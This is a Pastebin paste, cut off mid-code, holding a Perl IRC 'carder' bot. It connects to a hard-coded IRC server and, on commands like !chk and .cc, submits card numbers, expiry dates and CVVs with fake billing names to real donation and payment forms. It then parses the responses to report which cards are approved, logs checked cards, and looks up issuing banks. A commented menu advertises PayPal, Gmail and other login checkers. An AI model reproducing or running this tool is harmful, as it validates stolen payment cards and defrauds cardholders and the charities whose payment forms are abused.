API tools faq
paste
Guest User

aaaaaa

a guest
Jul 2nd, 2014
14,817
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.29 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. #############################################
  3. # Modified by CChungryChk http://lacristor.com/ #
  4. #############################################
  5. BEGIN{push(@INC,'Modules');}
  6. BEGIN{push(@INC,'Modules');}
  7. use HTTP::Request;
  8. use LWP::Socket;
  9. use LWP::UserAgent;
  10. use LWP::Protocol::https;
  11. use HTTP::Cookies;
  12. use MIME::Base64;
  13. use Parallel::ForkManager;
  14. use MIME::Base64 ();
  15. use WWW::Mechanize;
  16. use WWW::Mechanize::FormFiller;
  17. use Net::FTP;
  18. use Digest::MD5 qw(md5_hex);
  19. use IO::Socket::INET;
  20.  
  21. #package BridgeBot;
  22. #use base qw( Bot::BasicBot );
  23.  
  24. $| = 1;
  25. print q{
  26. Bot has been Loaded :)
  27. };
  28. my $ppcmd = '!pp';
  29. my $ipcmd = '!ip1';
  30. my $chkcmd = '!chk';
  31. my $cccmd = '.cc';
  32. my $base64cmd = '!base64';
  33. my $bankcmd = '!bank';
  34. my $seccmd = '!sec';
  35. my $bincmd = '!bin';
  36. my $statecmd = '!state';
  37. my $zipcmd = '!zip';
  38. my $countrycmd = '!country';
  39.  
  40. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  41. my(@chans,@admins,@user_agents);
  42. my $outcri = "Mg==";
  43. $systemcri = MIME::Base64::decode($outcri);
  44. $timeout = $systemcri;
  45. my $hostcri = "198.50.222.243";
  46. $systemcri = MIME::Base64::decode($hostcri);
  47. $hosting = "198.50.222.243";
  48. $port = 6667;
  49. $chkon = 1;
  50. my $nkpro = "mitt1CHK";
  51. $ident = "sxMerchant";
  52. $parallel_fork = 15;
  53. my @botcmd = ('1');
  54. @chans = ("#ins3rt");
  55. my $proo = "RmFsY29u"; #Skyland_Hacker = U2t5bGFuZF9IYWNrZXI=
  56. $systempro = MIME::Base64::decode($proo);
  57. my $cheataer = "RmFsY29u"; #Khan8520 = RmFsY29u
  58. $sistempro = MIME::Base64::decode($cheataer);
  59. @adminnya = ($systempro,$sistempro);
  60. @adminnya = ('mitt1sx', 'ins3rt');
  61. @admin = ('mitt1sx', 'ins3rt');
  62. @user_agents = &get_user_agents();
  63. @checked = ();
  64.  
  65. # @premium = ('mitt1sx', 'ins3rt');
  66.  
  67. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  68. $sysircuno = MIME::Base64::decode($startirc);
  69. $irc_socket = new LWP::Socket;
  70. $irc_socket->connect($hosting,$port);
  71. $irc_socket->write("USER ".$ident." 8 * : 9,1[4,1!9,1] 9,1Carder tools by 0,1Betan 9,1[4,1!9,1]\r\n");
  72. $irc_socket->write("NICK ".$nkpro."\r\n");
  73. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  74. $sysircuno = MIME::Base64::decode($startirc);
  75. $irc_socket = new LWP::Socket;
  76. $irc_socket->connect($hosting,$port);
  77. $irc_socket->write("USER ".$ident." 8 * : Chek \r\n");
  78. $irc_socket->write("NICK ".$nkpro."\r\n");
  79. $irc_socket->write("NICKSERV IDENTIFY ngehacking\r\n");
  80. $irc_socket->write("JOIN @chans\r\n");
  81. while($irc_socket)
  82. {
  83. my $bof;
  84. $irc_socket->read_until("\n", \$bof);
  85. if($bof =~ /PING :(.*)/)
  86. {
  87. $irc_socket->write("PONG :$1\r\n");
  88. }
  89.  
  90. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  91. {
  92. #PRIVMSG
  93. my %msg = &get_msg($bof);
  94. my $who = $msg{'from'};
  95. if($msg{'what'} =~ /\!help/){
  96. my $who = $msg{'from'};
  97. $irc_socket->write("NOTICE $who 14,1<15bot14> 9Checker 7by 14<15Betan14>\r\n");
  98. $irc_socket->write("NOTICE $who 14,1<15bot14>4 Warning!! Contact Betan 4for help menu 14</15bot14>\r\n");
  99. # &respond_to_privmsg(\%msg,"9,1Able to Check0,1: 14,01[00,12 VISA 14,01]01,01 14,01[0,4 Master 0,7 Card 14,01]14,01 [00,10 American Express 14,01]14,1 [01,00 Disc07Over01,00 14,01]");
  100. # &respond_to_privmsg(\%msg,"7,1!chk 0,1<9,1ccnumber0,1> 0,1<9,1expdate0,1> 0,1<9,1ccv0,1> 0,1: 15,1to checking credit card");
  101. # &respond_to_privmsg(\%msg,"7,1!kill 0,1<9,1ccnumber0,1> 0,1<9,1expdate0,1> 0,1: 15,1to kill CCV2");
  102. # &respond_to_privmsg(\%msg,"7,1!dump 0,1<9,1ccnumber0,1> 0,1<9,1expdate0,1> 0,1: 15,1to check dump");
  103. # &respond_to_privmsg(\%msg,"7,1!bank 0,1<9,1ccnumber0,1> 0,1: 15,1to check bank name");
  104. # &respond_to_privmsg(\%msg,"7,1!sec 0,1<9,1ccnumber0,1> 0,1: 15,1to check if cc is protected by VBV or MSC");
  105. # &respond_to_privmsg(\%msg,"7,1!phone 0,1<9,1phonenumber0,1> 0,1: 15,1to get info about Phone Number");
  106. # &respond_to_privmsg(\%msg,"7,1!zip 0,1<9,1zip code0,1> 0,1: 15,1to get city and state by zip");
  107. # &respond_to_privmsg(\%msg,"7,1!ip 0,1<9,1ip address0,1> 0,1: 15,1to get info about an ip");
  108. # &respond_to_privmsg(\%msg,"7,1!port 0,1<9,1ip0,1> 0,1<9,1port0,1> 0,1: 15,1to check port in a ip");
  109. # &respond_to_privmsg(\%msg,"7,1!dns 0,1<9,1dns code0,1> 0,1: 15,1to get info about an dns");
  110. # &respond_to_privmsg(\%msg,"7,1!socks5 0,1: 15,1to generate socks5");
  111. # &respond_to_privmsg(\%msg,"7,1!chksocks5 0,1<9,1socks50,1> 0,1: 15,1to check if a socks 5 is dead or live");
  112. # &respond_to_privmsg(\%msg,"7,1!ups 0,1<9,1state0,1> 0,1: 15,1to check ups tracknum");
  113. # &respond_to_privmsg(\%msg,"7,1!pp 0,1<9,1email0,1> 0,1: 15,1to check PayPal verification status");
  114. # &respond_to_privmsg(\%msg,"7,1!paypal 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check PayPal logins");
  115. # &respond_to_privmsg(\%msg,"7,1!hotmail 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check Hotmail login");
  116. # &respond_to_privmsg(\%msg,"7,1!gmail 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check Gmail login");
  117. # &respond_to_privmsg(\%msg,"7,1!aol 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check AOL login");
  118. # &respond_to_privmsg(\%msg,"7,1!apple 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check Apple login");
  119. # &respond_to_privmsg(\%msg,"7,1!md5 0,1<9,1string0,1> 0,1: 15,1to generate md5 hash");
  120. # &respond_to_privmsg(\%msg,"7,1!md5decode 0,1<9,1hash0,1> 0,1: 15,1to unhash md5 hash");
  121. # &respond_to_privmsg(\%msg,"7,1!sha1 0,1<9,1string0,1> 0,1: 15,1to generate sha1 hash");
  122. # &respond_to_privmsg(\%msg,"7,1!sha1decode 0,1<9,1hash0,1> 0,1: 15,1to unhash sha1 hash");
  123. # &respond_to_privmsg(\%msg,"7,1!hex 0,1<9,1text0,1> 0,1: 15,1to encode string -> hex");
  124. # &respond_to_privmsg(\%msg,"7,1!dechex 0,1<9,1hex0,1> 0,1: 15,1to decode hex -> string");
  125. # &respond_to_privmsg(\%msg,"7,1!base64 0,1<9,1text0,1> 0,1: 15to encode string -> base64");
  126. # &respond_to_privmsg(\%msg,"7,1!dec64 0,1<9,1base640,1> 0,1: 15,1to decrypt base64 -> string");
  127. # &respond_to_privmsg(\%msg,"7,1!domain 0,1<9,1domain0,1> 0,1: 15,1to get domain info");
  128. }
  129. ############################################################################################
  130. if($msg{'what'} =~ /\!chk 1(.*)/ && $chkon == 1){
  131. &respond_to_privmsg(\%msg,"15,1Error 0: 4Invalid format 0-15 <CCNUMBER> <EXPDATE> <CVV>");
  132. }
  133.  
  134.  
  135. if($msg{'what'} =~ /\!status/ )
  136. {
  137. my ($lines,$baris) = (0);
  138. open (FILEA, "approved.txt") or die "Can't open file: $!";
  139. while (<FILEA>) {
  140. $lines++;
  141. }
  142.  
  143. open (FILEB, "declined.txt") or die "Can't open file: $!";
  144. while (<FILEB>) {
  145. $baris++;
  146. }
  147. $jumlah = ($lines + $baris);
  148.  
  149. open(FILE, "<freecredit.txt") or die "$! error";
  150. undef $/;
  151. $number = <FILE>;
  152. $number = int($number);
  153. $credits = $number;
  154. seek(FILE, 0, 0);
  155. truncate(FILE, tell FILE);
  156. print FILE $credits;
  157. close(FILE);
  158.  
  159. &respond_to_privmsg(\%msg,"15,1Status 0: 14Total7 $jumlah 14Credit card has checked 0-7 $baris 4DECLINED! 14and7 $lines 9APPROVED! 14Credit Available 0:7 $credits");
  160. }
  161.  
  162. #################################### Credit ###############################################
  163. if($msg{'what'} =~ /\!addcredit (.*)/)
  164. {
  165. my $allo = $1;
  166. if(&ctrl_admin(\%msg) == 0){
  167. open(FILE, "+<freecredit.txt") or die "$! error";
  168. undef $/;
  169. $number = <FILE>;
  170. $number = int($number);
  171. seek(FILE, 0, 0);
  172. truncate(FILE, tell FILE);
  173. print $1+"\n";
  174. print FILE $1;
  175. close FILE;
  176. &respond_to_privmsg(\%msg,"7,1Credit Has Been Added 0: 10$1");
  177. }
  178. }
  179. ################################@@@@======BASIC CHK BOT=====@@@@############################
  180. ############################ Contact : [email protected] ############################
  181. ############################################################################################
  182. if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon != 1){
  183. &respond_to_privmsg(\%msg,"15,1Information 0: 14Checker is 4TURNED OFF!! 14/msg Betan to 9TURNED ON!! 14the bot. Or 15(3DONATE TO GET UNLIMITED CHECK + RECHECK15)");
  184. }
  185.  
  186. if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon == 1){
  187.  
  188. my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5);
  189. my $var1 = substr($expmes,0,2);
  190. my $var2 = substr($expmes,2,4);
  191.  
  192. #my $range = 9;
  193. #my $minimum = 5;
  194. #my $amount = int(rand($range)) + $minimum;
  195.  
  196. #my $creditmax = 180;
  197. #my $creditmi =1;
  198. #my $credits = int(rand($creditmax)) + $creditmi;
  199.  
  200.  
  201. my $amount = 5.00;
  202. my $tax = 5.00;
  203. my $total = $amount+$tax;
  204. my $cred = 190;
  205. my $credi = 1;
  206. my $credits = int(rand($cred)) - $credi;
  207. my $varType = 0;
  208. my $sleep = time()-20;
  209. my $name = "submit";
  210. my $value = "submit";
  211. my $button = "btn-confirm";
  212.  
  213.  
  214.  
  215. #####Edited by 3asfora#######
  216. if ($credits == 0 ) {
  217. &respond_to_privmsg(\%msg,"Error : you must have credits to check");
  218. goto finish;
  219. }
  220.  
  221. open (FILE, "+<freecredit.txt") or die "$! error";
  222. undef $/;
  223. $number =<FILE>;
  224. $number =int($number);
  225. $credits=$number-1;
  226. seek(FILE, 0, 0);
  227. truncate(FILE, tell FILE);
  228. print FILE $credits;
  229. close(FILE);
  230.  
  231.  
  232.  
  233. my $rechecklist = "data.txt";
  234. open FILE,"$rechecklist";
  235. my @results = <FILE>;
  236. close FILE;
  237. my $chkResVar = 0;
  238. foreach my $cRes(@results) {
  239. if($cRes =~ /$numerocarta\|(.*)/) {
  240. $chkResVar = 1;
  241. &respond_to_privmsg(\%msg,"7,1 $nick 00:03 $numerocarta 00: 4Already Checked! ");
  242. goto finish;
  243. }
  244. }
  245. if (substr($numerocarta,0,1)==4) {
  246. $varType = 'Visa';
  247. }
  248.  
  249. if (substr($numerocarta,0,1)==5) {
  250. $varType = 'MasterCard';
  251. }
  252.  
  253. if (substr($numerocarta,0,1)==6) {
  254. $varType = 'Discover';
  255. }
  256. if (substr($numerocarta,0,1)==3) {
  257. $varType = 'AmEx';
  258. }
  259.  
  260.  
  261. my $rechecklist = "data.txt";
  262. open FILE,"$rechecklist";
  263. my @results = <FILE>;
  264. close FILE;
  265. my $chkResVar = 0;
  266. foreach my $cRes(@results) {
  267. if($cRes =~ /$numerocarta\|(.*)/) {
  268. $chkResVar = 1;
  269. &respond_to_privmsg(\%msg,"7,1 $nick 00:03 $numerocarta 00: 4Already Checked! ");
  270. goto finish;
  271. }
  272. }
  273.  
  274. foreach my $line (@checked) {
  275. if($line =~ /$numerocarta/) {
  276. &respond_to_privmsg(\%msg,"7,1$who 0: 15Credit Card3,1 $numerocarta 14is 4Already Checked!");
  277. goto toEnd;
  278. }
  279. }
  280.  
  281. #inurl:"donate.php" intext:"authorize" page 11
  282. $agent->get('https://jajf.org/donate/donate-form.cfm');
  283. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  284. $agent->form_number(1);
  285. { local $^W; $agent->current_form->value('firstname', 'mark'); };
  286. { local $^W; $agent->current_form->value('lastname', 'smith'); };
  287. { local $^W; $agent->current_form->value('emailaddress', '[email protected]'); };
  288. { local $^W; $agent->current_form->value('confirmemail', '[email protected]'); };
  289. { local $^W; $agent->current_form->value('addressline1', 'las heras 32'); };
  290. { local $^W; $agent->current_form->value('addressline2', 'las heras 32'); };
  291. { local $^W; $agent->current_form->value('city', 'NY'); };
  292. { local $^W; $agent->current_form->value('stateabbreviation', 'AL'); };
  293. { local $^W; $agent->current_form->value('zipCode', '05544'); };
  294. { local $^W; $agent->current_form->value('contactPhone', '1569841055'); };
  295. { local $^W; $agent->current_form->value('message', 'charity'); };
  296. { local $^W; $agent->current_form->value('donationAmount', '1'); };
  297. { local $^W; $agent->current_form->value('cardName', 'mark smith'); };
  298. { local $^W; $agent->current_form->value('cardType', 'visa~Visa'); };
  299. { local $^W; $agent->current_form->value('cardNumber', ''.$numerocarta.''); };
  300. { local $^W; $agent->current_form->value('cardExpiration', ''.$var1.$var2.''); };
  301. { local $^W; $agent->current_form->value('cardAuthCode', ''.$verifica.''); };
  302. $agent->submit();
  303. print $agent->content,"\n";
  304.  
  305. my $allo=$agent->content;
  306.  
  307. print $agent->content,"\n";
  308. if ($allo =~ m/THANK YOU/g){
  309.  
  310. &respond_to_privmsg(\%msg,"7,1$nick 0:3 $numerocarta $var1$var2 $verifica 0-14,1 $random_number7 USD 0: 9APPROVED! 0- 7,1BANK 00: 10,1 $bankinfo 0-7,1 Credits 0,1-10,1 $credits");
  311. my $database = "banklist.txt";
  312. open FILE,"$database" or die "Errore nell'apertura: $!";
  313. my @results=<FILE>;
  314. close FILE;
  315. my $bankinfo = $1;
  316. my $nuova = substr($numerocarta,0,6);
  317. foreach my $url (@results){
  318. if($url =~ m/$nuova\|(.*)/){
  319.  
  320.  
  321. print "card $variable!";
  322. }
  323. }
  324. }elsif ($allo =~/The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder./){
  325. &respond_to_privmsg(\%msg,"7,1$nick 0:3 $numerocarta $var1$var2 $verifica 0-14,1 $random_number7 USD 0: 4DECLINED! 0- 7,1BANK 00: 10,1 0-7,1 Credits 0,1-10,1 $credits");
  326. my $database = "banklist.txt";
  327. open FILE,"$database" or die "Errore nell'apertura: $!";
  328. my @results=<FILE>;
  329. close FILE;
  330. my $bankinfo = $1;
  331. my $nuova = substr($numerocarta,0,6);
  332. foreach my $url (@results){
  333. if($url =~ m/$nuova\|(.*)/){
  334. my $bankinfo = $1;
  335.  
  336. print "card $variable!";
  337. }
  338. }
  339. }elsif ($allo =~/AVS REJECTED/){
  340. &respond_to_privmsg(\%msg,"7,1$nick 0:3 $numerocarta $var1$var2 $verifica 0-14,1 $random_number7 USD 0: 9APPROVED! 0- 7,1BANK 00: 10,1 $bankinfo 0-7,1 Credits 0,1-10,1 $credits");
  341. my $database = "banklist.txt";
  342. open FILE,"$database" or die "Errore nell'apertura: $!";
  343. my @results=<FILE>;
  344. close FILE;
  345. my $bankinfo = $1;
  346. my $nuova = substr($numerocarta,0,6);
  347. foreach my $url (@results){
  348. if($url =~ m/$nuova\|(.*)/){
  349. my $bankinfo = $1;
  350.  
  351.  
  352. print "card $variable!";
  353. }
  354. }
  355. }elsif ($allo =~/A duplicate transaction has been submitted./){
  356. &respond_to_privmsg(\%msg,"7,1$nick 00:03 $numerocarta 00:04 Already Checked!");
  357. }elsif ($allo =~/The credit card number is invalid./){
  358. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4is invalid. 9,1-");
  359. }elsif ($allo =~/There was a problem with your order./){
  360. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4DECLINED 9,1-");
  361. }elsif ($allo =~/The credit card has expired./){
  362. &respond_to_privmsg(\%msg," 7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4The credit card has expired. 9,1-");
  363. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  364. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4Not is Valid 9,1-");
  365. }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
  366. &respond_to_privmsg(\%msg,"7,1$nick 00:03 $numerocarta 00:04 Already Checked!");
  367. }elsif ($allo =~/A duplicate transaction has been submitted./){
  368. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4DECLINED 9,1-");
  369. }elsif ($allo =~/Card Number not valid/){
  370. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4is invalid Card Number. 9,1-");
  371. }elsif ($allo =~/Your order has been received. Thank you for your business!/){
  372. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4Marchant Down. 9,1-");
  373. }elsif ($allo =~/This transaction requires voice authentication/){
  374. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4DECLINED (Hold Card) 9,1-");
  375. }elsif ($allo =~/The credit card number is invalid./){
  376. &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4is invalid. 9,1-");
  377. }
  378.  
  379. toEnd:
  380. Akhir:
  381.  
  382. }
  383. ################################@@@@======BASIC CC CMD BOT=====@@@@############################
  384. if($msg{'what'} =~ /^$cccmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon != 1){
  385. &respond_to_privmsg(\%msg,"15,1Checker is 4TURNED OFF!! 15/msg Betan to 9TURNED ON!! 15the BOT 7or 15Donate to GET 3(PREMIUM USER)");
  386. }
  387.  
  388. if($msg{'what'} =~ /^$cccmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon == 1){
  389. if(&ctrl_admin(\%msg) == 0){
  390. my $who = $msg{'from'};
  391. my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
  392. my $var1 = substr($expmes,0,2);
  393. my $var2 = substr($expmes,2,4);
  394. my $varType = 0;
  395. my $sleep = time()-20;
  396. my @n = (10.47,9.14,8.25,7.16,5.48,6.88,4.55,10.16,10.22,8,10);
  397. # my $random_number = $n[int rand @n];
  398. my $dolar = '$';
  399. my $freecheck = "freecredit.txt";
  400.  
  401. print "Please wait...\n";
  402. if (substr($numerocarta,0,1)==4) {
  403. $varType = 'visa';
  404. #&respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,02[00,02 VISA 00,02]");
  405. }
  406.  
  407. if (substr($numerocarta,0,1)==5) {
  408. $varType = 'mastercard';
  409. #&respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 14,01[0,4 Master 0,7 Card 14,01]");
  410. }
  411.  
  412. if (substr($numerocarta,0,1)==6) {
  413. $varType = 'Discover';
  414. #&respond_to_privmsg(\%msg,"14,01[15,01Information14,01]03,01 Credit Card Type is 14,1[01,00 Disc07Over01,00 14,01]");
  415. }
  416. if (substr($numerocarta,0,1)==3) {
  417. $varType = 'american_express';
  418. #&respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,01[00,10 American Express 00,01]");
  419. }
  420.  
  421. #&respond_to_privmsg(\%msg,"14,01[15,1Checking...14,01]02,01 $numerocarta 08$var1/20$var204 04$verifica");
  422.  
  423. #my $database = "banklist.txt";
  424. #open FILE,"$database" or die "Can't open file: $database";
  425. #my @results=<FILE>;
  426. #close FILE;
  427. #my $bankinfo = $1;
  428. #my $nuova = substr($numerocarta,0,6);
  429. #foreach my $url (@results){
  430. #if($url =~ m/$nuova\|(.*)/){
  431. # &respond_to_privmsg(\%msg,"14,1<15bank14> 15Bank :7 $1 14</15bank14>");
  432. # }
  433. #}
  434.  
  435. #&respond_to_privmsg(\%msg,"14,01[15,01Amount.....14,01] 02Amount:09,01 1USD");
  436.  
  437.  
  438. my $agent = WWW::Mechanize->new( autocheck => 1 );
  439. my $formfiller = WWW::Mechanize::FormFiller->new();
  440. $agent->env_proxy();
  441. $agent->get('http://www.autofinalpay.com/gateway/payments.php');
  442. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  443. $agent->form_number(1);
  444. { local $^W; $agent->current_form->value('amount', '5.00'); };
  445. { local $^W; $agent->current_form->value('tax', '10.00'); };
  446. { local $^W; $agent->current_form->value('firstname', 'Dilan'); };
  447. { local $^W; $agent->current_form->value('lastname', 'Alderete'); };
  448. { local $^W; $agent->current_form->value('email', '[email protected]'); };
  449. { local $^W; $agent->current_form->value('address1', '2010 magnolia drive'); };
  450. { local $^W; $agent->current_form->value('city', 'san diego'); };
  451. { local $^W; $agent->current_form->value('state', 'FL'); };
  452. { local $^W; $agent->current_form->value('zip', '47851'); };
  453. { local $^W; $agent->current_form->value('credit_card_cc_number', ''.$numerocarta.''); };
  454. { local $^W; $agent->current_form->value('ccexp', ''.$var1.$var2.''); };
  455. { local $^W; $agent->current_form->value('cvv', ''.$verifica.''); };
  456. $agent->submit();
  457.  
  458. my $allo=$agent->content;
  459.  
  460. print $agent->content,"\n";
  461. if ($allo =~ m/Approval/g){
  462. &respond_to_privmsg(\%msg,"7,1 $who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 9APPROVED!");
  463. push(@checked,$numerocarta);
  464. }elsif ($allo =~ m/AVS REJECTED/g){
  465. &respond_to_privmsg(\%msg,"7,1 $who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 9APPROVED! 0(AVS Missmatch)");
  466. my $database = "banklist.txt";
  467. open FILE,"$database" or die "Can't open file: $database";
  468. my @results=<FILE>;
  469. close FILE;
  470. my $bankinfo = $1;
  471. my $nuova = substr($numerocarta,0,6);
  472. foreach my $url (@results){
  473. if($url =~ m/$nuova\|(.*)/){
  474. &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
  475. }
  476. }
  477. push(@checked,$numerocarta);
  478. }elsif ($allo =~ m/Issuer Declined/g){
  479. &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED!");
  480. my $database = "banklist.txt";
  481. open FILE,"$database" or die "Can't open file: $database";
  482. my @results=<FILE>;
  483. close FILE;
  484. my $bankinfo = $1;
  485. my $nuova = substr($numerocarta,0,6);
  486. foreach my $url (@results){
  487. if($url =~ m/$nuova\|(.*)/){
  488. &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
  489. }
  490. }
  491. push(@checked,$numerocarta);
  492. }elsif ($allo =~ m/Pick up card./g){
  493. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!.");
  494. push(@checked,$numerocarta);
  495. }elsif ($allo =~ m/Credit card invalid/g){
  496. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4INVALID! (Credit Card Invalid).");
  497. push(@checked,$numerocarta);
  498. }elsif ($allo =~ m/declined/g){
  499. &respond_to_privmsg(\%msg,"7,1Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED!");
  500. my $database = "banklist.txt";
  501. open FILE,"$database" or die "Can't open file: $database";
  502. my @results=<FILE>;
  503. close FILE;
  504. my $bankinfo = $1;
  505. my $nuova = substr($numerocarta,0,6);
  506. foreach my $url (@results){
  507. if($url =~ m/$nuova\|(.*)/){
  508. &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
  509. }
  510. }
  511. push(@checked,$numerocarta);
  512. }elsif ($allo =~ m/Please go back and check your order info/g){
  513. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04DECLINED! Please go back and check your order info.");
  514. push(@checked,$numerocarta);
  515. }elsif ($allo =~ m/There was an error processing your credit card./g){
  516. &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED! ERROR");
  517. my $file = "data.txt";
  518. open (MYFILE, ">>$file");
  519. print MYFILE "$numerocarta $expmes$expanio $verifica\n";
  520. close (MYFILE);
  521. push(@checked,$numerocarta);
  522. }elsif ($allo =~ m/Thanks for Donating!/g){
  523. &respond_to_privmsg(\%msg,"7,1Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 9APPROVED!");
  524. my $database = "banklist.txt";
  525. open FILE,"$database" or die "Can't open file: $database";
  526. my @results=<FILE>;
  527. close FILE;
  528. my $bankinfo = $1;
  529. my $nuova = substr($numerocarta,0,6);
  530. foreach my $url (@results){
  531. if($url =~ m/$nuova\|(.*)/){
  532. &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
  533. }
  534. }
  535. }elsif ($allo =~ m/The transaction was declined/g){
  536. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04DECLINED!.");
  537. push(@checked,$numerocarta);
  538. }elsif ($allo =~ m/The credit card was declined. Please check the information that you entered./g){
  539. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04The credit card was declined. Please check the information that you entered..");
  540. push(@checked,$numerocarta);
  541. }elsif ($allo =~ m/This transaction has been declined./g){
  542. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04Jazak Allahu Khair.");
  543. push(@checked,$numerocarta);
  544. }elsif ($allo =~ m/The gateway reported the following error: (1-2) This transaction has been declined./g){
  545. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04The gateway reported the following error: (1-2) This transaction has been declined..");
  546. push(@checked,$numerocarta);
  547. }elsif ($allo =~ m/You may have mistyped the address or the page may have moved./g){
  548. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Error 404");
  549. push(@checked,$numerocarta);
  550. }elsif ($allo =~ m/There was a problem processing that charge/g){
  551. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Error While Charge");
  552. push(@checked,$numerocarta);
  553. }elsif ($allo =~ m/Year card is expired/g){
  554. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Year Expired");
  555. push(@checked,$numerocarta);
  556. }elsif ($allo =~ m/The credit card was declined. Please check the information that you entered./g){
  557. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! The credit card was declined. Please check the information that you entered.");
  558. push(@checked,$numerocarta);
  559. }elsif ($allo =~ m/The credit card was declined./g){
  560. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Please check the information that you entered.");
  561. push(@checked,$numerocarta);
  562. }elsif ($allo =~ m/There is an error in your payment information./g){
  563. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! There is an error in your payment information.");
  564. push(@checked,$numerocarta);
  565. }elsif ($allo =~ m/This transaction has been approved./g){
  566. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 9,1Approved Transaction");
  567. push(@checked,$numerocarta);
  568. }elsif ($allo =~ m/Thank you for your donation/g){
  569. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 9,1Approved Transaction! Thanks");
  570. push(@checked,$numerocarta);
